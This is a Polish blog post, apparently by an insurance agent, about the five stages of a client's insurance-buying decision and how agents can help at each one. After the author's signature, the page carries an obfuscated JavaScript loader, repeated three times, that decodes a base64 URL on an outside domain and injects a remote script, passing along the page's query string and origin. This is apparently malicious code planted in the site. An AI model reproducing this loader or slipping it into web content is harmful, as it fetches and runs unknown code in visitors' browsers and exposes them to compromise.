Witajcie! Dziś chciałbym porozmawiać z Wami o procesie decyzyjnym, który towarzyszy każdemu klientowi, który decyduje się na zakup ubezpieczenia. Ten proces składa się z kilku etapów, a każdy z nich ma swoje własne cechy i wyzwania. Im lepiej je zrozumiemy, jako agenci ubezpieczeniowi, tym lepiej dopasujemy sposób komunikacji, narzędzi sprzedażowych, czy edukacyjnych tak, by nasze doradztwo i skuteczność okazały się jak najbardziej efektywne.
Pierwszym etapem jest rozpoznanie potrzeby. Cytując słowa Philipa Kotlera, jednego z najwybitniejszych teoretyków marketingu na świecie, “zaspokajanie potrzeb klientów to cel każdej działalności marketingowej”. Często potrzeba ta pojawia się w momencie, gdy klient zdaje sobie sprawę z możliwych zagrożeń i chce zabezpieczyć swój majątek lub zdrowie. Często klienci nie zauważają tych potrzeb, lub nie potrafią odnieść możliwych zagrożeń do własnego życia. Jako agenci ubezpieczeniowi mamy tutaj duże pole do prezentacji ubezpieczeń i edukowania swoich klientów. Im będą bardzie świadomi, tym szybciej podejmą dobre dla obu stron decyzje.
Gdy klient jest już świadom swojej potrzeby, to drugim etapem jest poszukiwanie informacji. Klient rozpoczyna wtedy badanie rynku, porównując dostępne opcje ubezpieczeniowe. Z pomocą przychodzi mu tutaj marketing ubezpieczeń, który dostarcza informacje na temat różnych produktów i ich cech. Agent jest tutaj wyjątkowo ważną częścią tego procesu, gdyż często jest ekspertem w swojej dziedzinie, przez co staje się dobrym doradcą. Jako agenci posiadamy też często różne narzędzia, które poza rozmową mogą edukować klienta pomagając mu w podjęciu decyzji. Ulotki, prospekty, informacje na stronach www, własnym profilu na mediach społecznościowych, lub prezentacje ubezpieczeń w postaci krótkich filmów. Każda metoda jest dobra, jeśli skraca proces decyzyjny i daje dobrą wiedzą klientowi.
Trzecim etapem jest ocena alternatyw. Klient analizuje dostępne opcje, porównując ich koszty, ochronę i warunki. Przy ubezpieczeniach komunikacyjnych możemy korzystać z porównywarek, by przedstawić szerszą ofertę. Jednak w przypadku innych ubezpieczeń, nasza wiedza jest wyjątkowo ważna, by dobrze doradzić klientowi.
Czwartym etapem jest podjęcie decyzji o zakupie ubezpieczenia. Decyzja ta może być oparta na różnych czynnikach, takich jak opinie innych klientów, opinie ekspertów czy własne przemyślenia. Poza samym ubezpieczeniem, ważne jest również gdzie klient je zakupi i tutaj kluczowa jest nasza wiarygodność. U stałych klientów, jest ona wypracowana w latach współpracy, jednak nowi, będą szukać informacji o nas. Dlatego warto dbać o opinie i recenzje – bo to dla nowych klientów najlepsze źródło wiedzy o waszym profesjonalizmie.
Ostatnim etapem jest ocena satysfakcji. Klient ocenia jakość usług ubezpieczeniowych, skuteczność ochrony oraz poziom obsługi klienta. Im lepiej agent ubezpieczeniowy pomoże klientowi w jego problemie, tym większy szacunek i lojalność zyska na przyszłość.
Aby pomóc klientowi w procesie decyzyjnym, Agent Ubezpieczeniowy musi znać potrzeby i preferencje klienta oraz problemy z którymi się zmaga. Mając tą wiedzę Agent Ubezpieczeniowy będzie w stanie pomóc klientowi rozwiązać jego problemy i zabezpieczyć potrzeby. W tym celu warto zbierać informacje o klientach i analizować ich potrzeby. Dane warto składować w programach typu CRM i na ich podstawie dobierać ubezpieczenia w zmieniającej się przyszłości.
Ważne jest również, aby dostarczać klientom odpowiednie informacje w momencie, gdy ich potrzeba na to wskazuje. Na przykład, jeśli klient porusza temat służby zdrowia, z której nie jest zadowolony, to jest to dobry moment by zapoznać go z Prywatną Opieką Medyczną, warto wtedy dostarczyć mu informacje na temat ubezpieczeń medycznych, opowiedzieć o nich, pokazać film produktowy o takim ubezpieczeniu.
Podsumowując, proces decyzyjny klienta kupującego ubezpieczenie to skomplikowany proces, który wymaga dużego zaangażowania ze strony Agenta Ubezpieczeniowego. Aby pomóc klientowi w tym procesie, warto zbierać informacje na temat jego potrzeb i preferencji oraz dostarczać mu odpowiednie informacje na odpowiednim etapie procesu decyzyjnego.
Ważne jest również, aby zapewnić klientowi wysoką jakość obsługi klienta oraz skuteczną pomoc. Satysfakcja klienta jest kluczowa dla dalszej współpracy i budowania pozytywnego wizerunku firmy.
Pamiętajmy, że proces decyzyjny klienta ubezpieczeniowego to proces indywidualny i złożony. Powyższe metody jednak warto stosować w każdym przypadku, gdyż praca nad edukacją i uświadamianiem klienta, może przynieść jedynie pozytywne efekty.
@BartoszWolski
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
